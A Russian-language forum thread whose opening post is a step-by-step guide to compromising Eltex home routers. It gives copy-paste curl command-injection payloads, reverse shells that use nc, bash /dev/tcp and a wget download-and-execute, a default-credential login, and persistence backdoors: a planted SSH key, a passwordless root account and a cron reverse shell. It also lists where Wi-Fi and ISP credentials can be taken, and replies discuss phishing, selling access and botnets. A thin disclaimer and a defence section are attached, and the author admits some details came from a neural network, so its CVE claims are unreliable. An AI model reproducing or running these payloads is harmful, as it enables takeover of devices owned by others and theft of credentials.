LIMB
Вход Регистрация

тема

Уязвимости в роутерах ELtex

Cortez · · 7 ответов · 200 просмотров

Всем привет, сегодня я хотел бы разобрать уязвимости в роутерах Eltex (модель NTU‑RG‑5420G‑Wac и аналоги), надеюсь кому-то пригодится.
Сразу оговорюсь: всё нижеприведённое проверял на своём оборудовании, в образовательных целях.(P.S. это моя первая статья, прошу не судить строго, некоторую инфу брал с помощью нейронки)

1. Разведка: как понять, что перед вами Eltex​

Перед атакой полезно убедиться, что цель – действительно Eltex. Самый простой способ – посмотреть MAC-адрес шлюза:
arp -n | grep 192.168.0.1
Если первые три октета 68:13:E2 или D8:44:89 – это Eltex. Также можно открыть веб‑интерфейс (обычно http://192.168.0.1) и посмотреть заголовки или страницу входа.


2. Две рабочие уязвимости​

Нашёл две дыры, которые реально работают на свежих прошивках (проверял на версии 1.12.0 Build 221216).

2.1 CVE-2020-9026 – Command Injection в ping.cmd​

В веб‑интерфейсе Eltex есть скрипт ping.cmd, который не фильтрует пользовательский ввод. Вместо простого пинга можно выполнить любую системную команду.

Проверка (замени IP на свой шлюз):
curl -X POST --data "PING=8.8.8.8; id" "http://192.168.0.1/ping.cmd"
Если в ответе появится uid=0(root) gid=0(root) ... – уязвимость есть.

Reverse shell (получение полноценной оболочки):

  1. На своём компьютере запустите слушатель:

nc -lvnp 9001
2.
Отправьте команду на роутер:

curl -X POST --data "PING=8.8.8.8; nc -e /bin/sh 192.168.0.209 9001" "http://192.168.0.1/ping.cmd"
  1. (где 192.168.0.209 – IP вашей машины в локальной сети)
  2. В окне nc вы получите shell роутера.
Альтернативные варианты, если nc нет на роутере:
# Через bash
curl -X POST --data "PING=8.8.8.8; bash -c 'bash -i >& /dev/tcp/192.168.0.209/9001 0>&1'" "http://192.168.0.1/ping.cmd"

# Через wget + внешний скрипт (если роутер может выходить в интернет)
curl -X POST --data "PING=8.8.8.8; wget -O /tmp/shell.sh http://YOUR_IP/shell.sh && chmod +x /tmp/shell.sh && /tmp/shell.sh" "http://192.168.0.1/ping.cmd"

2.2 CVE-2018-15360 – стандартные учётные данные​

Если владелец не менял пароль от веб‑интерфейса, можно зайти с парой user / user.
Проверка:
curl -X POST -d "user=user&pass=user" "http://192.168.0.1/login.cgi" -v

При успехе сервер вернёт 302 Found и перенаправит на главную страницу.

Что делать дальше:

  • Посмотреть Wi‑Fi пароль (обычно в разделе Wireless Security).
  • Слить конфиг роутера (кнопка Backup).
  • Поменять настройки, добавить свой SSH‑ключ.

3. Закрепление доступа (чтобы не потерять)​

После получения shell можно установить постоянный бэкдор.

3.1 Добавление SSH‑ключа​

Если на роутере есть dropbear или openssh (порт 22 часто открыт):

mkdir -p /etc/dropbear
echo "ssh-rsa AAAAB3NzaC1yc2E..." > /etc/dropbear/authorized_keys
Затем подключитесь по SSH уже без пароля.

3.2 Добавление своего пользователя​

echo "hacker::0:0:root:/root:/bin/sh" >> /etc/passwd
Теперь можно логиниться как hacker без пароля.

3.3 Бэкдор через crontab​

echo "*/5 * * * * nc -e /bin/sh 192.168.0.209 9002" >> /etc/crontabs/root
Каждые 5 минут роутер будет стучаться к вам.

4.Что ещё полезного можно вытащить​

  • Wi‑Fi пароль – обычно в файле /tmp/wpa_supplicant.conf или в конфиге /etc/config/wireless
  • Логи авторизации – /tmp/login.log (там могут быть сохранены введённые пароли)
  • Конфигурация провайдера – VLAN ID, PPPoE логин/пароль
  • Прописать своего бэкап‑пользователя в /etc/passwd

5. Защита (для белых шапок)​

Если вы владелец такого роутера – вот что нужно сделать:

  1. Отключить ненужные сервисы: Telnet, WAN‑доступ к веб‑интерфейсу, UPnP.
  2. Сменить пароль веб‑интерфейса на сложный (не user/user).
  3. Отключить Ping из WAN (если не нужно).
  4. Регулярно обновлять прошивку – производитель закрывает такие дыры.
  5. Использовать гостевую Wi‑Fi сеть для отделения своих устройств.
  6. Проверить, нет ли левых SSH‑ключей в /etc/dropbear/authorized_keys.

6. Безопасность автора.​

Вы обратили внимание, что в примерах указаны IP-адреса вроде 192.168.0.1 и 192.168.0.209.
Это локальные (частные) IP-адреса, которые используются только внутри вашей домашней сети. Они не видны из глобального интернета и не могут быть использованы для взлома вашего компьютера посторонними. Даже если вы скопируете команды со своим локальным IP, злоумышленник, находящийся за пределами вашей сети, не сможет по нему ничего сделать.


7. Заключение​

Надеюсь, материал был полезен. Уязвимости достаточно просты в эксплуатации, но дают полный контроль над устройством. Если у вас есть дополнения или вопросы – пишите в личку или в тред. Всем удачных исследований.
👍15 😮2 🤔2
Прикольно, но может кто-то пояснить мне
Для чего вообще ломают роутеры? Я слышал что используют для атак с помощью ботнета(ддос), но может есть и другие применения ?
Ответbarak

Прикольно, но может кто-то пояснить мне Для чего вообще ломают роутеры? Я слышал что используют для атак с помощью ботнета(ддос), но может есть и другие применения ?

Ну в основном это используют пентестеры, проверяют на проникновение(в целях проверить роутер), а для злоумышлеников это кража пароля и вход в оболочку роутера, а дальше там он может делать что хочет, ну а статья в оброзовательных целях:)
👍2
ОтветCortez

Ну в основном это используют пентестеры, проверяют на проникновение(в целях проверить роутер), а для злоумышлеников это кража пароля и вход в оболочку роутера, а дальше там он может делать что хочет, ну а статья в…

ОтветCortez

а дальше там он может делать что хочет

Вот это мне и интересно) Что вообще ценного можно с роутера вытянуть
👍4
Ответbarak

Вот это мне и интересно) Что вообще ценного можно с роутможно

Ответbarak

Вот это мне и интересно) Что вообще ценного можно с роутера вытянуть

можно перехватывать трафик, смена днс для фишинга,продажа доступа,сбор информации, роутер можно вообще в ботнет засунуть(вроде как)
Ответbarak

Вот это мне и интересно) Что вообще ценного можно с роутера вытянуть

в роутере есть ценая инфа, если хорошо покопать, может об этом потом сделаю статью
👍2
ОтветCortez

в роутере есть ценая инфа, если хорошо покопать, может об этом потом сделаю статью

было бы интересно почитать)
👍2
Cortez сказал(а): 
           в роутере есть ценая инфа, если хорошо покопать, может об этом потом сделаю статью    

    Сделай пожалуйста...тоже интересны ход мыслей...;)
👍2

Гостевой просмотр. Чтобы отвечать и ставить реакции, войдите или зарегистрируйтесь.